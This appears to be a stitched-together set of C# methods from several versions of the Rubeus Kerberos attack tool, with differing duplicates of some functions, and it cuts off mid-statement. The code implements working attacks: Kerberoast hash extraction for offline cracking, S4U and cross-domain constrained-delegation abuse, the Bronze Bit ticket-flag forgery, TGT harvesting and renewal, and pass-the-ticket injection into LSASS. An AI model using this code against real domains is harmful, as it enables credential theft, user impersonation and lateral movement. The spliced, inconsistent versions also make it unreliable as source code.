public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "") { Console.WriteLine("[*] Action: S4U\r\n"); if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController)) { // do cross domain S4U // no support for supplying a TGS due to requiring more than a single ticket Console.WriteLine("[*] Performing cross domain constrained delegation"); CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomain, targetDomainController); } else { if (tgs != null && String.IsNullOrEmpty(targetSPN) == false) { Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]); S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs.tickets[0]); } else { Ticket self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService); if (String.IsNullOrEmpty(targetSPN) == false) { S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self); } } } }
public static void TGS(KRB_CRED kirbi, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false) { // kirbi = the TGT .kirbi to use for ticket requests // service = the SPN being requested // requestEType = specific encryption type for the request, Interop.KERB_ETYPE.subkey_keymaterial implies default // ptt = "pass-the-ticket" so apply the ticket to the current logon session // domainController = the specific domain controller to send the request, defaults to the system's DC // display = true to display the ticket // extract out the info needed for the TGS-REQ request string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; // the etype for the PA Data for the request, so needs to match the TGT key type Interop.KERB_ETYPE paEType = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string[] services = service.Split(','); foreach (string sname in services) { // request the new service ticket TGS(userName, domain, ticket, clientKey, paEType, sname, requestEType, outfile, ptt, domainController, display, enterprise, roast); Console.WriteLine(); } }
public static void GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "******", string distinguishedName = "", string outFile = "", bool simpleOutput = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial) { // use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method string userDomain = "DOMAIN"; if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); userDomain = domainDN.Replace("DC=", "").Replace(',', '.'); } // extract out the info needed for the TGS-REQ request string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; string domain = TGT.enc_part.ticket_info[0].prealm; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; string[] services = spn.Split(','); foreach (string sname in services) { // request the new service tickt byte[] tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, sname, requestEType, null, false, domainController, false); if (tgsBytes != null) { KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes); DisplayTGShash(tgsKirbi, true, userName, userDomain, outFile, simpleOutput); Console.WriteLine(); } } }
public static void TGTAutoRenew(KRB_CRED kirbi, string domainController = "", bool display = true) { Console.WriteLine("[*] Action: Auto-Renew TGT"); KRB_CRED currentKirbi = kirbi; while (true) { // extract out the info needed for the TGS-REQ/AP-REQ renewal string userName = currentKirbi.EncryptedPart.ticket_info[0].pname.name_string[0]; string domain = currentKirbi.EncryptedPart.ticket_info[0].prealm; Console.WriteLine("\r\n\r\n[*] User : {0}@{1}", userName, domain); DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.EncryptedPart.ticket_info[0].endtime); DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(currentKirbi.EncryptedPart.ticket_info[0].renew_till); Console.WriteLine("[*] endtime : {0}", endTime); Console.WriteLine("[*] renew-till : {0}", renewTill); if (endTime > renewTill) { Console.WriteLine("\r\n[*] renew-till window ({0}) has passed.\r\n", renewTill); return; } double ticks = (endTime - DateTime.Now).Ticks; if (ticks < 0) { Console.WriteLine("\r\n[*] endtime is ({0}) has passed, no renewal possible.\r\n", endTime); return; } // get the window to sleep until the next endtime for the ticket, -30 minutes for a window double sleepMinutes = TimeSpan.FromTicks((endTime - DateTime.Now).Ticks).TotalMinutes - 30; Console.WriteLine("[*] Sleeping for {0} minutes (endTime-30) before the next renewal", (int)sleepMinutes); System.Threading.Thread.Sleep((int)sleepMinutes * 60 * 1000); Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domain); currentKirbi = new KRB_CRED(TGT(currentKirbi, false, domainController, true)); } }
private void RefreshTicketCache(bool display = false) { // goes through each ticket in the cache, removes any tickets that have expired // and renews any tickets that are going to expire before the next check interval // then displays the current "active" ticket cache if "display" is passed as true if (display) { Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now); } for (var i = harvesterTicketCache.Count - 1; i >= 0; i--) { var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime); var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till); var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; // check if the ticket has now expired if (endTime < DateTime.Now) { Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName); // remove the ticket from the cache Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); harvesterTicketCache.RemoveAt(i); Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); } else { // check if the ticket is going to expire before the next interval checkin // but we'll still be in the renew window if ((endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds))) { // renewal limit after checkin interval, so renew the TGT userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName); var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false); var renewedCred = new KRB_CRED(bytes); harvesterTicketCache[i] = renewedCred; } if (display) { LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap); } } } if (display) { Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count); } }
public static void DisplayTGShash(KRB_CRED cred, bool kerberoastDisplay = false, string kerberoastUser = "******", string kerberoastDomain = "DOMAIN", string outFile = "") { // output the hash of the encrypted KERB-CRED service ticket in a kerberoast hash form int encType = cred.tickets[0].enc_part.etype; string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray()); string domainName = cred.enc_part.ticket_info[0].prealm; string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray()); string cipherText = BitConverter.ToString(cred.tickets[0].enc_part.cipher).Replace("-", string.Empty); string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, kerberoastUser, kerberoastDomain, sname, cipherText.Substring(0, 32), cipherText.Substring(32)); if (!String.IsNullOrEmpty(outFile)) { string outFilePath = Path.GetFullPath(outFile); try { File.AppendAllText(outFilePath, hash + Environment.NewLine); } catch (Exception e) { Console.WriteLine("Exception: {0}", e.Message); } Console.WriteLine("[*] Hash written to {0}", outFilePath); } else { bool header = false; foreach (string line in Helpers.Split(hash, 80)) { if (!header) { if (kerberoastDisplay) { Console.WriteLine("[*] Hash : {0}", line); } else { Console.WriteLine(" Kerberoast Hash : {0}", line); } } else { if (kerberoastDisplay) { Console.WriteLine(" {0}", line); } else { Console.WriteLine(" {0}", line); } } header = true; } } }
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool s = false, bool opsec = false, string requestDomain = "", string impersonateDomain = "") { Console.WriteLine("[*] Action: S4U\r\n"); if (!String.IsNullOrEmpty(targetDomain) && !String.IsNullOrEmpty(targetDomainController)) { // do cross domain S4U // no support for supplying a TGS due to requiring more than a single ticket Console.WriteLine("[*] Performing cross domain constrained delegation"); CrossDomainS4U(kirbi, targetUser, targetSPN, ptt, domainController, altService, targetDomainController, targetDomain); } else { if (tgs != null && String.IsNullOrEmpty(targetSPN) == false) { Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]); S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, opsec); } else { KRB_CRED self = null; if (!String.IsNullOrEmpty(targetDomain)) { // Get relevent information from provided referral ticket string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = targetDomain; targetDomain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // If these domains are empty, use the domain from the referral ticket if (String.IsNullOrEmpty(impersonateDomain)) { impersonateDomain = targetDomain; } if (String.IsNullOrEmpty(requestDomain)) { requestDomain = targetDomain; } KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, impersonateDomain), domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, altService, s, requestDomain, ptt); } else { self = S4U2Self(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, s, opsec); } if (String.IsNullOrEmpty(targetSPN) == false) { S4U2Proxy(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, self, opsec); } } } }
public static byte[] TGT(KRB_CRED kirbi, string outfile = "", bool ptt = false, string domainController = "", bool display = true) { // extract out the info needed for the TGS-REQ/AP-REQ renewal string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // request the new TGT renewal return TGT(userName, domain, ticket, clientKey, etype, outfile, ptt, domainController, display); }
private static void CrossDomainS4U(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", string targetDomainController = "", string targetDomain = "", string createnetonly = null, bool show = false) { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // user variables string user = string.Format("{0}@{1}", userName, domain); string target = string.Format("{0}@{1}", targetUser, targetDomain); // First retrieve our service ticket for the target domains KRBTGT from our DC Console.WriteLine("[*] Retrieving referral TGT from {0} for foreign domain, {1}, KRBTGT service", domain, targetDomain); byte[] crossBytes = Ask.TGS(userName, domain, ticket, clientKey, etype, string.Format("krbtgt/{0}", targetDomain), Interop.KERB_ETYPE.subkey_keymaterial, "", false, domainController, true); KRB_CRED crossTGS = new KRB_CRED(crossBytes); Interop.KERB_ETYPE crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; byte[] crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; // Next retrieve an S4U2Self referral from the target domains DC // to be used when we ask for a S4U2Self from our DC // We need to use our referral TGT for the target domain for this Console.WriteLine("[*] Retrieving the S4U2Self referral from {0}", targetDomain); KRB_CRED foreignSelf = CrossDomainS4U2Self(user, target, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial); crossEtype = (Interop.KERB_ETYPE)foreignSelf.enc_part.ticket_info[0].key.keytype; crossKey = foreignSelf.enc_part.ticket_info[0].key.keyvalue; // Now retrieve the S4U2Self ticket from our DC // We use the S4U2Self referral to ask for this Console.WriteLine("[*] Requesting the S4U2Self ticket from {0}", domain); KRB_CRED localSelf = CrossDomainS4U2Self(user, target, domainController, foreignSelf.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, false); if (!String.IsNullOrEmpty(targetSPN)) { // Using our standard TGT and attaching our local S4U2Self // retrieve an S4U2Proxy from our DC // This will be needed for the last request KRB_CRED localS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, localSelf.tickets[0], false); crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; // Lastly retrieve the final S4U2Proxy from the foreign domains DC // This is the service ticket we need to access the target service KRB_CRED foreignS4U2Proxy = CrossDomainS4U2Proxy(user, target, targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, localS4U2Proxy.tickets[0], true, ptt); } }
public static void TGS(KRB_CRED kirbi, string service, bool ptt = false, string domainController = "", bool display = true) { // extract out the info needed for the TGS-REQ request string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string[] services = service.Split(','); foreach (string sname in services) { // request the new service tickt TGS(userName, domain, ticket, clientKey, etype, sname, ptt, domainController, display); Console.WriteLine(); } }
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null) { Console.WriteLine("[*] Action: S4U\r\n"); if (tgs != null && String.IsNullOrEmpty(targetSPN) == false) { Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]); S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]); } else { Ticket self = S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService); if (String.IsNullOrEmpty(targetSPN) == false) { S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, self); } } }
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "") { // first retrieve a TGT for the user byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false); Console.WriteLine(); if (kirbiBytes == null) { Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters"); return; } // transform the TGT bytes into a .kirbi file KRB_CRED kirbi = new KRB_CRED(kirbiBytes); // execute the s4u process Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService); }
private static void CrossDomainS4U(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", string targetDomainController = "", string targetDomain = "") { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; // First retrieve our service ticket for the target domains KRBTGT from our DC Console.WriteLine("[*] Retrieving TGS from {0} for foreign domain, {1}, KRBTGT service", domain, targetDomain); KRB_CRED crossTGS = CrossDomainKRBTGT(userName, domain, domainController, targetDomain, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial); Interop.KERB_ETYPE crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; byte[] crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; // Next retrieve an S4U2Self from the target domains DC // to be used when we ask for a S4U2Self from our DC // We need to use our TGS for the target domains KRBTGT for this Console.WriteLine("[*] Performing cross domain S4U2Self from {0} to {1}", domain, targetDomain); KRB_CRED foreignSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial); crossEtype = (Interop.KERB_ETYPE)foreignSelf.enc_part.ticket_info[0].key.keytype; crossKey = foreignSelf.enc_part.ticket_info[0].key.keyvalue; // Now retrieve an S4U2Self from our DC // We use the foreign S4U2Self TGS to ask for this KRB_CRED localSelf = CrossDomainS4U2Self(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), domainController, foreignSelf.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, false); // Using our standard TGT and attaching our local S4U2Self // retrieve an S4U2Proxy from our DC // This will be needed for the last request KRB_CRED localS4U2Proxy = CrossDomainS4U2Proxy(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetSPN, domainController, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, localSelf.tickets[0], false); crossEtype = (Interop.KERB_ETYPE)crossTGS.enc_part.ticket_info[0].key.keytype; crossKey = crossTGS.enc_part.ticket_info[0].key.keyvalue; // Lastly retrieve the final S4U2Proxy from the foreign domains DC // This is the service ticket we need to access the target service KRB_CRED foreignS4U2Proxy = CrossDomainS4U2Proxy(string.Format("{0}@{1}", userName, domain), string.Format("{0}@{1}", targetUser, targetDomain), targetSPN, targetDomainController, crossTGS.tickets[0], crossKey, crossEtype, Interop.KERB_ETYPE.subkey_keymaterial, localS4U2Proxy.tickets[0], true, ptt); }
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", string outfile = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null, string targetDomainController = "", string targetDomain = "", bool self = false, bool opsec = false, bool bronzebit = false, bool pac = true, string proxyUrl = null, string createnetonly = null, bool show = false) { // first retrieve a TGT for the user byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, new LUID(), false, opsec, "", false, pac, proxyUrl); if (kirbiBytes == null) { Console.WriteLine("[X] Error retrieving a TGT with the supplied parameters"); return; } else { Console.WriteLine("\r\n"); } // transform the TGT bytes into a .kirbi file KRB_CRED kirbi = new KRB_CRED(kirbiBytes); // execute the s4u process Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, tgs, targetDomainController, targetDomain, self, opsec, bronzebit, keyString, etype, null, null, proxyUrl, createnetonly, show); }
public static bool GetTGSRepHash(KRB_CRED TGT, string spn, string userName = "******", string distinguishedName = "", string outFile = "", bool simpleOutput = false, bool enterprise = false, string domainController = "", Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial) { // use a TGT blob to request a hash instead of the KerberosRequestorSecurityToken method string tgtDomain = "DOMAIN"; // we can only roast tickets for the domain that we have a TGT for, first determine it's a TGT string serviceName = TGT.tickets[0].sname.name_string[0]; if (!serviceName.Equals("krbtgt")) { Console.WriteLine("[X] Unable to request service tickets without a TGT, please rerun and provide a TGT to '/ticket'."); return(false); } else { // always use the doamin that our TGT is for tgtDomain = TGT.tickets[0].sname.name_string[1]; } // extract out the info needed for the TGS-REQ request string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; string domain = TGT.enc_part.ticket_info[0].prealm.ToLower(); Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // request the new service ticket byte[] tgsBytes = Ask.TGS(tgtUserName, domain, ticket, clientKey, etype, spn, requestEType, null, false, domainController, false, enterprise, false, false, null, tgtDomain); if (tgsBytes != null) { KRB_CRED tgsKirbi = new KRB_CRED(tgsBytes); DisplayTGShash(tgsKirbi, true, userName, tgtDomain, outFile, simpleOutput); Console.WriteLine(); return(true); } return(false); }
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string proxyUrl = null, string createnetonly = null, bool show = false) { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec); byte[] response = null; if (String.IsNullOrEmpty(proxyUrl)) { string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Sending S4U2self request to {0}:88", dcIP); response = Networking.SendBytes(dcIP, 88, tgsBytes); } else { Console.WriteLine("[*] Sending S4U2self request via KDC proxy: {0}", proxyUrl); KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(tgsBytes); message.target_domain = domain; response = Networking.MakeProxyRequest(proxyUrl, message); } if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // if we want to use this s4u2self ticket for authentication, change the sname if (!String.IsNullOrEmpty(altService) && self) { rep.ticket.sname.name_string[0] = altService.Split('/')[0]; rep.ticket.sname.name_string.Add(altService.Split('/')[1]); } // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; if (bronzebit && !String.IsNullOrEmpty(keyString)) { Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags); info.flags |= Interop.TicketFlags.forwardable; // get user longterm key from keyString byte[] key = Helpers.StringToByteArray(keyString); // decrypt and decode ticket encpart var decTicketPart = rep.ticket.Decrypt(key, null, true); // modify flags decTicketPart.flags |= Interop.TicketFlags.forwardable; // encode and encrypt ticket encpart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno); Console.WriteLine("[*] Flags changed to: {0}", info.flags); } // add the ticket cred.tickets.Add(rep.ticket); // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // if we want to use the s4u2self change the sname here too if (!String.IsNullOrEmpty(altService) && self) { Console.WriteLine("[*] Substituting alternative service name '{0}'", altService); info.sname.name_string[0] = altService.Split('/')[0]; info.sname.name_string.Add(altService.Split('/')[1]); } // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt && self) { // pass-the-ticket -> import into LSASS ImportTicket(kirbiBytes, createnetonly, show); } return(cred); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", bool display = true) { if (display) { Console.WriteLine("[*] Action: Renew TGT\r\n"); } string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, true, ""); byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] TGT renewal request successful!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new Interop.LUID()); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", 